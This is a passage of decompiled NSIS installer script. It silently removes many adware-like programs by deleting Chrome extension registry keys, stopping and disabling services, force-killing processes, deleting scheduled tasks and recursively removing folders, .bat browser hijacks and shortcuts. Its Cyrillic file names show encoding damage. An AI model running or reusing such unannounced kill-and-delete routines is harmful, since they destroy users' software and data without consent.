ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\mfmjpfoggikolkfilofbpgcnhdcgahib $0 IfErrors label_15696 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\mfmjpfoggikolkfilofbpgcnhdcgahib label_15696: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\pgaidlfgjkmeendhknafahppllbniejm $0 IfErrors label_15700 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pgaidlfgjkmeendhknafahppllbniejm label_15700: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\pfjgibhmcgncmjhdodpaolfbjpjjajal $0 IfErrors label_15704 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pfjgibhmcgncmjhdodpaolfbjpjjajal label_15704: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\aamfmnhcipnbjjnbfmaoooiohikifefk $0 IfErrors label_15708 DeleteRegKey HKLM Software\Google\Chrome\Extensions\aamfmnhcipnbjjnbfmaoooiohikifefk label_15708: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ooebklgpfnbcnpokahmdidgbmlcdepkm $0 IfErrors label_15712 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ooebklgpfnbcnpokahmdidgbmlcdepkm label_15712: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mdeldjolamfbcgnndjmjjiinnhbnbnla $0 IfErrors label_15716 DeleteRegKey HKLM Software\Google\Chrome\Extensions\mdeldjolamfbcgnndjmjjiinnhbnbnla label_15716: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mhoginfgkdilnncbigagbkpfccbokgib $0 IfErrors label_15720 DeleteRegKey HKLM Software\Google\Chrome\Extensions\mhoginfgkdilnncbigagbkpfccbokgib label_15720: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fjbbjfdilbioabojmcplalojlmdngbjl $0 IfErrors label_15724 DeleteRegKey HKLM Software\Google\Chrome\Extensions\fjbbjfdilbioabojmcplalojlmdngbjl label_15724: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\flliilndjeohchalpbbcdekjklbdgfkk $0 IfErrors label_15728 DeleteRegKey HKLM Software\Google\Chrome\Extensions\flliilndjeohchalpbbcdekjklbdgfkk label_15728: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bpgangmffjcofiknibcmfjionicohfgj $0 IfErrors label_15732 DeleteRegKey HKLM Software\Google\Chrome\Extensions\bpgangmffjcofiknibcmfjionicohfgj label_15732: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bgbgnhmfbcifpkjofoojfplmfkmaiadn $0 IfErrors label_15736 DeleteRegKey HKLM Software\Google\Chrome\Extensions\bgbgnhmfbcifpkjofoojfplmfkmaiadn label_15736: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\nbifdkmdojgmpmopdebnjcobekgdoncn $0 IfErrors label_15740 DeleteRegKey HKLM Software\Google\Chrome\Extensions\nbifdkmdojgmpmopdebnjcobekgdoncn label_15740: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\iflppbjnpneiigcbdfjpnkebidmkjmoi $0 IfErrors label_15744 DeleteRegKey HKLM Software\Google\Chrome\Extensions\iflppbjnpneiigcbdfjpnkebidmkjmoi label_15744: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ppoilmfkbpckodoifdlkmkepcajfjmhl $0 IfErrors label_15748 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ppoilmfkbpckodoifdlkmkepcajfjmhl label_15748: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\eioddfaepdoeifbhjphfefgipcjcdieo $0 IfErrors label_15752 DeleteRegKey HKLM Software\Google\Chrome\Extensions\eioddfaepdoeifbhjphfefgipcjcdieo label_15752: IfFileExists $SYSDIR\lnsecsl.exe 0 label_15755 Call func_755 Delete /REBOOTOK $SYSDIR\lnsecsl.exe label_15755: IfFileExists $WINDIR\sysWOW64\lnsecsl.exe 0 label_15758 Call func_755 Delete /REBOOTOK $WINDIR\sysWOW64\lnsecsl.exe label_15758: IfFileExists $PROGRAMFILES\SearchProtect 0 label_15771 nsExec::Exec "cmd /k sc stop CltMngSvc" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc stop CltMngSvc" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config CltMngSvc start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config CltMngSvc start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\CltMngSvc RMDir /r /REBOOTOK $PROGRAMFILES\SearchProtect label_15771: IfFileExists "$PROGRAMFILES\XTRM Group" 0 label_15773 RMDir /r /REBOOTOK "$PROGRAMFILES\XTRM Group" label_15773: IfFileExists $PROGRAMFILES\ChicaLogic 0 label_15776 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ChicaPasswordManager RMDir /r /REBOOTOK $PROGRAMFILES\ChicaLogic label_15776: IfFileExists $APPDATA\WiseManager 0 label_15778 RMDir /r /REBOOTOK $APPDATA\WiseManager label_15778: IfFileExists $PROGRAMFILES\SupTab 0 label_15780 RMDir /r /REBOOTOK $PROGRAMFILES\SupTab label_15780: IfFileExists $APPDATA\webssearches 0 label_15782 RMDir /r /REBOOTOK $APPDATA\webssearches label_15782: IfFileExists $PROGRAMFILES\igs\OptimizerMonitor.exe 0 label_15786 DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverig DeleteRegKey HKLM SYSTEM\ControlSet001\services\OptimizerMonitor RMDir /r /REBOOTOK $PROGRAMFILES\igs label_15786: IfFileExists $LOCALAPPDATA\igs\IGSrv.exe 0 label_15788 RMDir /r /REBOOTOK $LOCALAPPDATA\igs label_15788: IfFileExists $PROGRAMFILES\IGS\DCL.exe 0 label_15796 nsExec::Exec "cmd /k taskkill /IM DCL.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DCL.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\DCL RMDir /r /REBOOTOK $PROGRAMFILES\IGS label_15796: IfFileExists $PROGRAMFILES\igs\BasementDuster.exe 0 label_15804 DeleteRegKey HKLM SYSTEM\ControlSet001\services\BasementDuster nsExec::Exec "cmd /k taskkill /IM BasementDuster.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM BasementDuster.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\igs label_15804: IfFileExists $PROGRAMFILES\igs\VCL.exe 0 label_15812 DeleteRegKey HKLM SYSTEM\ControlSet001\services\VCL nsExec::Exec "cmd /k taskkill /IM VCL.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM VCL.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\igs label_15812: IfFileExists $PROGRAMFILES\igs\CCL.exe 0 label_15820 DeleteRegKey HKLM SYSTEM\ControlSet001\services\CCL nsExec::Exec "cmd /k taskkill /IM CCL.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CCL.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\igs label_15820: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\UdvdPork ImagePath IfErrors label_15835 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_15834 RMDir /r /REBOOTOK $2 label_15834: DeleteRegKey HKLM SYSTEM\ControlSet001\services\UdvdPork label_15835: IfFileExists "$PROGRAMFILES\Max Computer Cleaner" 0 label_15837 RMDir /r /REBOOTOK "$PROGRAMFILES\Max Computer Cleaner" label_15837: IfFileExists $PROGRAMFILES\MaxComputerCleaner 0 label_15839 RMDir /r /REBOOTOK $PROGRAMFILES\MaxComputerCleaner label_15839: IfFileExists $PROGRAMFILES\MaxComputerCleaner* 0 label_15853 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\MaxComputerCleaner* label_15842: StrCmp $R1 "" label_15852 nsExec::Exec "cmd /k taskkill /IM MaxComputerCleaner_Maintenance.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MaxComputerCleaner_Maintenance.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $R1 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_15842 label_15852: FindClose $0 label_15853: IfFileExists $PROGRAMFILES\clean2pc 0 label_15855 RMDir /r /REBOOTOK $PROGRAMFILES\clean2pc label_15855: IfFileExists $LOCALAPPDATA\*-143* 0 label_15865 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\*-143* label_15858: StrCmp $R1 "" label_15864 IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15862 Push $LOCALAPPDATA\$R1 Call func_238 label_15862: FindNext $0 $R1 Goto label_15858 label_15864: FindClose $0 label_15865: IfFileExists $APPDATA\*-143* 0 label_15875 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*-143* label_15868: StrCmp $R1 "" label_15874 IfFileExists $APPDATA\$R1\*.tmp 0 label_15872 Push $APPDATA\$R1 Call func_238 label_15872: FindNext $0 $R1 Goto label_15868 label_15874: FindClose $0 label_15875: IfFileExists $PROGRAMFILES\*-143* 0 label_15885 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*-143* label_15878: StrCmp $R1 "" label_15884 IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15882 Push $PROGRAMFILES\$R1 Call func_238 label_15882: FindNext $0 $R1 Goto label_15878 label_15884: FindClose $0 label_15885: IfFileExists $LOCALAPPDATA\*-144* 0 label_15895 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\*-144* label_15888: StrCmp $R1 "" label_15894 IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15892 Push $LOCALAPPDATA\$R1 Call func_238 label_15892: FindNext $0 $R1 Goto label_15888 label_15894: FindClose $0 label_15895: IfFileExists $APPDATA\*-144* 0 label_15905 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*-144* label_15898: StrCmp $R1 "" label_15904 IfFileExists $APPDATA\$R1\*.tmp 0 label_15902 Push $APPDATA\$R1 Call func_238 label_15902: FindNext $0 $R1 Goto label_15898 label_15904: FindClose $0 label_15905: IfFileExists $PROGRAMFILES\*-144* 0 label_15915 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*-144* label_15908: StrCmp $R1 "" label_15914 IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15912 Push $PROGRAMFILES\$R1 Call func_238 label_15912: FindNext $0 $R1 Goto label_15908 label_15914: FindClose $0 label_15915: IfFileExists $LOCALAPPDATA\*-145* 0 label_15925 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\*-145* label_15918: StrCmp $R1 "" label_15924 IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15922 Push $LOCALAPPDATA\$R1 Call func_238 label_15922: FindNext $0 $R1 Goto label_15918 label_15924: FindClose $0 label_15925: IfFileExists $APPDATA\*-145* 0 label_15935 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*-145* label_15928: StrCmp $R1 "" label_15934 IfFileExists $APPDATA\$R1\*.tmp 0 label_15932 Push $APPDATA\$R1 Call func_238 label_15932: FindNext $0 $R1 Goto label_15928 label_15934: FindClose $0 label_15935: IfFileExists $PROGRAMFILES\*-145* 0 label_15945 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*-145* label_15938: StrCmp $R1 "" label_15944 IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15942 Push $PROGRAMFILES\$R1 Call func_238 label_15942: FindNext $0 $R1 Goto label_15938 label_15944: FindClose $0 label_15945: IfFileExists $LOCALAPPDATA\*-146* 0 label_15955 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\*-146* label_15948: StrCmp $R1 "" label_15954 IfFileExists $LOCALAPPDATA\$R1\*.tmp 0 label_15952 Push $LOCALAPPDATA\$R1 Call func_238 label_15952: FindNext $0 $R1 Goto label_15948 label_15954: FindClose $0 label_15955: IfFileExists $APPDATA\*-146* 0 label_15965 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*-146* label_15958: StrCmp $R1 "" label_15964 IfFileExists $APPDATA\$R1\*.tmp 0 label_15962 Push $APPDATA\$R1 Call func_238 label_15962: FindNext $0 $R1 Goto label_15958 label_15964: FindClose $0 label_15965: IfFileExists $PROGRAMFILES\*-146* 0 label_15975 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\*-146* label_15968: StrCmp $R1 "" label_15974 IfFileExists $PROGRAMFILES\$R1\*.tmp 0 label_15972 Push $PROGRAMFILES\$R1 Call func_238 label_15972: FindNext $0 $R1 Goto label_15968 label_15974: FindClose $0 label_15975: IfFileExists "$PROGRAMFILES\Visual Protect Service" 0 label_16014 nsExec::Exec "cmd /k net stop VSProtectProxy" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop VSProtectProxy" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config VSProtectProxy start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config VSProtectProxy start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 5000 nsExec::Exec "cmd /k taskkill /IM $\"VSProtector.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"VSProtector.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"VSProtectProxy.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"VSProtectProxy.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"VSProtector$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"VSProtector$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\VSProtectProxy nsExec::Exec "cmd /k taskkill /IM $\"VSProtector.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"VSProtector.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Visual Protect Service" label_16014: IfFileExists $PROGRAMFILES\FastoPlayer 0 label_16038 nsExec::Exec "cmd /k net stop VSUpdater" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop VSUpdater" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config VSUpdater start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config VSUpdater start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 3000 nsExec::Exec "cmd /k taskkill /IM $\"fastoplayer.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"fastoplayer.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"VSUpdater.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\VSUpdater RMDir /r /REBOOTOK $PROGRAMFILES\FastoPlayer label_16038: IfFileExists "$PROGRAMFILES\Score Escape" 0 label_16042 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Score Escape" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Score Escape" RMDir /r /REBOOTOK "$PROGRAMFILES\Score Escape" label_16042: Push $PROGRAMFILES Call :label_16045 Goto label_16078 label_16045: Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 Push $2 Push $3 StrCpy $1 $0 2 StrCmp $1 \\ label_16057 StrCpy $2 $1 1 1 StrCmp $2 : 0 label_16070 StrCpy $0 $1 Goto label_16071 label_16057: StrCpy $2 1 StrCpy $3 "" label_16059: IntOp $2 $2 + 1 StrCpy $1 $0 1 $2 StrCmp $1$3 "" label_16070 StrCmp $1 "" label_16067 StrCmp $1 \ 0 label_16059 StrCmp $3 1 label_16067 StrCpy $3 1 Goto label_16059 label_16067: StrCpy $0 $0 $2 StrCpy $2 $0 1 -1 StrCmp $2 \ 0 label_16071 label_16070: StrCpy $0 "" label_16071: Pop $3 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_16078: Pop $0 IfFileExists $0\supermegabest 0 label_16081 RMDir /r /REBOOTOK $0\supermegabest label_16081: IfFileExists $0\firefox.bat 0 label_16083 Delete /REBOOTOK $0\firefox.bat label_16083: IfFileExists $0\iexplore.bat 0 label_16085 Delete /REBOOTOK $0\iexplore.bat label_16085: IfFileExists $0\launcher.bat 0 label_16087 Delete /REBOOTOK $0\launcher.bat label_16087: IfFileExists $0\firåfîõ.bàt.exe 0 label_16089 Delete /REBOOTOK $0\firåfîõ.bàt.exe label_16089: IfFileExists $0\iåõplîrå.bàt.exe 0 label_16091 Delete /REBOOTOK $0\iåõplîrå.bàt.exe label_16091: IfFileExists $0\làunñhår.bàt.exe 0 label_16093 Delete /REBOOTOK $0\làunñhår.bàt.exe label_16093: IfFileExists $0\GameXP\AccessPoint 0 label_16095 RMDir /r /REBOOTOK $0\GameXP\AccessPoint label_16095: IfFileExists $0\sitenav 0 label_16097 RMDir /r /REBOOTOK $0\sitenav label_16097: IfFileExists "$0\IQIYI Video" 0 label_16105 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HCDNClient nsExec::Exec "cmd /k taskkill /IM QyKernel.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM QyKernel.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$0\IQIYI Video" label_16105: IfFileExists $0\qycache 0 label_16107 RMDir /r /REBOOTOK $0\qycache label_16107: IfFileExists $0\QGNA 0 label_16114 nsExec::ExecToStack "schtasks /delete /tn GameNet /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn GameNet /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\Thorn label_16114: IfFileExists $PROGRAMFILES\Google\ñhrîmå.bàt.exe 0 label_16116 Delete /REBOOTOK $PROGRAMFILES\Google\ñhrîmå.bàt.exe label_16116: IfFileExists $LOCALAPPDATA\Yandex\browser.bat 0 label_16118 Delete /REBOOTOK $LOCALAPPDATA\Yandex\browser.bat label_16118: IfFileExists $LOCALAPPDATA\Yandex\brîwsår.bàt.exe 0 label_16120 Delete /REBOOTOK $LOCALAPPDATA\Yandex\brîwsår.bàt.exe label_16120: IfFileExists $LOCALAPPDATA\go_internet.bat 0 label_16122 Delete /REBOOTOK $LOCALAPPDATA\go_internet.bat label_16122: IfFileExists $LOCALAPPDATA\amigo.bat 0 label_16124 Delete /REBOOTOK $LOCALAPPDATA\amigo.bat label_16124: IfFileExists $LOCALAPPDATA\chrome.bat 0 label_16126 Delete /REBOOTOK $LOCALAPPDATA\chrome.bat label_16126: IfFileExists $LOCALAPPDATA\ñhrîmå.bàt.exe 0 label_16128 Delete /REBOOTOK $LOCALAPPDATA\ñhrîmå.bàt.exe label_16128: IfFileExists $LOCALAPPDATA\ràmblårbrîwsår.bàt.exe 0 label_16130 Delete /REBOOTOK $LOCALAPPDATA\ràmblårbrîwsår.bàt.exe label_16130: IfFileExists $LOCALAPPDATA\ok.bat 0 label_16132 Delete /REBOOTOK $LOCALAPPDATA\ok.bat label_16132: IfFileExists $LOCALAPPDATA\vk.bat 0 label_16134 Delete /REBOOTOK $LOCALAPPDATA\vk.bat label_16134: IfFileExists "$DESKTOP\Hamster Free ZIP Archiver.lnk" 0 label_16136 Delete "$DESKTOP\Hamster Free ZIP Archiver.lnk" label_16136: IfFileExists "$DESKTOP\Ïðàâèëà Âîéíû.lnk" 0 label_16138 Delete "$DESKTOP\Ïðàâèëà Âîéíû.lnk" label_16138: IfFileExists "$DESKTOP\Goodgame Empire.lnk" 0 label_16140 Delete "$DESKTOP\Goodgame Empire.lnk" label_16140: IfFileExists "$DESKTOP\Êîäåêñ Ïèðàòà.lnk" 0 label_16142 Delete "$DESKTOP\Êîäåêñ Ïèðàòà.lnk" label_16142: IfFileExists "$DESKTOP\Äðàêîíû âå÷íîñòè.url" 0 label_16144 Delete "$DESKTOP\Äðàêîíû âå÷íîñòè.url" label_16144: IfFileExists "$DESKTOP\Prime world.lnk" 0 label_16146 Delete "$DESKTOP\Prime world.lnk" label_16146: IfFileExists "$DESKTOP\Èãðàòü â War Thunder.lnk" 0 label_16148 Delete "$DESKTOP\Èãðàòü â War Thunder.lnk" label_16148: IfFileExists "$DESKTOP\Èãðàòü â Êîäåêñ Ïèðàòà.lnk" 0 label_16150 Delete "$DESKTOP\Èãðàòü â Êîäåêñ Ïèðàòà.lnk" label_16150: IfFileExists "$DESKTOP\Fire Fall.lnk" 0 label_16152 Delete "$DESKTOP\Fire Fall.lnk" label_16152: IfFileExists "$DESKTOP\Âîéíû Ïðåñòîëîâ.lnk" 0 label_16154 Delete "$DESKTOP\Âîéíû Ïðåñòîëîâ.lnk" label_16154: IfFileExists "$DESKTOP\Âoéòè â Èíòeðíåò.lnk" 0 label_16156 Delete "$DESKTOP\Âoéòè â Èíòeðíåò.lnk" label_16156: IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò.lnk" 0 label_16158 Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò.lnk" label_16158: IfFileExists "$DESKTOP\Âoéòè â Èíòeðíåò smartinf.ru.lnk" 0 label_16160 Delete "$DESKTOP\Âoéòè â Èíòeðíåò smartinf.ru.lnk" label_16160: IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò 2inf.net.lnk" 0 label_16162 Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò 2inf.net.lnk" label_16162: IfFileExists "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò smartinf.ru*" 0 label_16164 Delete "$APPDATA\User Pinned\TaskBar\Âoéòè â Èíòeðíåò smartinf.ru*" label_16164: IfFileExists "$DESKTOP\Ïîècê â Èíòeðíåòå.lnk" 0 label_16166 Delete "$DESKTOP\Ïîècê â Èíòeðíåòå.lnk" label_16166: IfFileExists $DESKTOP\Èíòåðíåò.url 0 label_16168 Delete $DESKTOP\Èíòåðíåò.url label_16168: IfFileExists "$APPDATA\User Pinned\TaskBar\Ïîècê â Èíòeðíåòå.lnk" 0 label_16170 Delete "$APPDATA\User Pinned\TaskBar\Ïîècê â Èíòeðíåòå.lnk" label_16170: IfFileExists $DESKTOP\Kometa.lnk 0 label_16172 Delete $DESKTOP\Kometa.lnk label_16172: IfFileExists "$APPDATA\User Pinned\TaskBar\Mail.Ru.lnk" 0 label_16174 Delete "$APPDATA\User Pinned\TaskBar\Mail.Ru.lnk" label_16174: IfFileExists $DESKTOP\GameNet.lnk 0 label_16176 Delete $DESKTOP\GameNet.lnk label_16176: IfFileExists "$DESKTOP\PC Speed Up.lnk" 0 label_16178 Delete "$DESKTOP\PC Speed Up.lnk" label_16178: IfFileExists "$DESKTOP\MyPC Backup.lnk" 0 label_16180 Delete "$DESKTOP\MyPC Backup.lnk" label_16180: IfFileExists $DESKTOP\YTDownloader.lnk 0 label_16182 Delete $DESKTOP\YTDownloader.lnk label_16182: IfFileExists "$DESKTOP\Sync Folder.lnk" 0 label_16184 Delete "$DESKTOP\Sync Folder.lnk" label_16184: IfFileExists $DESKTOP\Reborn.lnk 0 label_16186 Delete $DESKTOP\Reborn.lnk label_16186: IfFileExists "$DESKTOP\Prime world.url" 0 label_16188 Delete "$DESKTOP\Prime world.url" label_16188: IfFileExists "$DESKTOP\Èãðàòü â Ïóòü Ìå÷à.lnk" 0 label_16190 Delete "$DESKTOP\Èãðàòü â Ïóòü Ìå÷à.lnk" label_16190: IfFileExists "$DESKTOP\Èãðàòü â Prime World.lnk" 0 label_16192 Delete "$DESKTOP\Èãðàòü â Prime World.lnk" label_16192: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr CommonDots" ImagePath IfErrors label_16206 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16206 RMDir /r /REBOOTOK $2 label_16206: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr CommonDots" ImagePath IfErrors label_16220 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16220 RMDir /r /REBOOTOK $2 label_16220: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr FilterResults" ImagePath IfErrors label_16234 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16234 RMDir /r /REBOOTOK $2 label_16234: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr FilterResults" ImagePath IfErrors label_16248 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16248 RMDir /r /REBOOTOK $2 label_16248: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr JungleNet" ImagePath IfErrors label_16262 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16262 RMDir /r /REBOOTOK $2 label_16262: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr JungleNet" ImagePath IfErrors label_16276 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_16276 RMDir /r /REBOOTOK $2 label_16276: StrCpy $0 svh StrCpy $1 ost IfFileExists $LOCALAPPDATA\Temp\$0$1.exe 0 label_16281 DeleteRegKey HKLM SYSTEM\ControlSet001\services\systemD DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $0$1 label_16281: IfFileExists $PROFILE\.android 0 label_16292 nsExec::ExecToStack "schtasks /delete /tn $\"Microsoft Windows Update$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Microsoft Windows Update$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM co.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM co.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_16292: FunctionEnd Function func_16293 SetShellVarContext current IfFileExists $PROGRAMFILES\advPlugin 0 label_16358 IfFileExists $PROGRAMFILES\advPlugin\*.exe 0 label_16301 nsExec::Exec "cmd /k taskkill /IM $\"update*$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"update*$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_16301: StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\advPlugin\*.exe label_16303: StrCmp $R1 "" label_16311 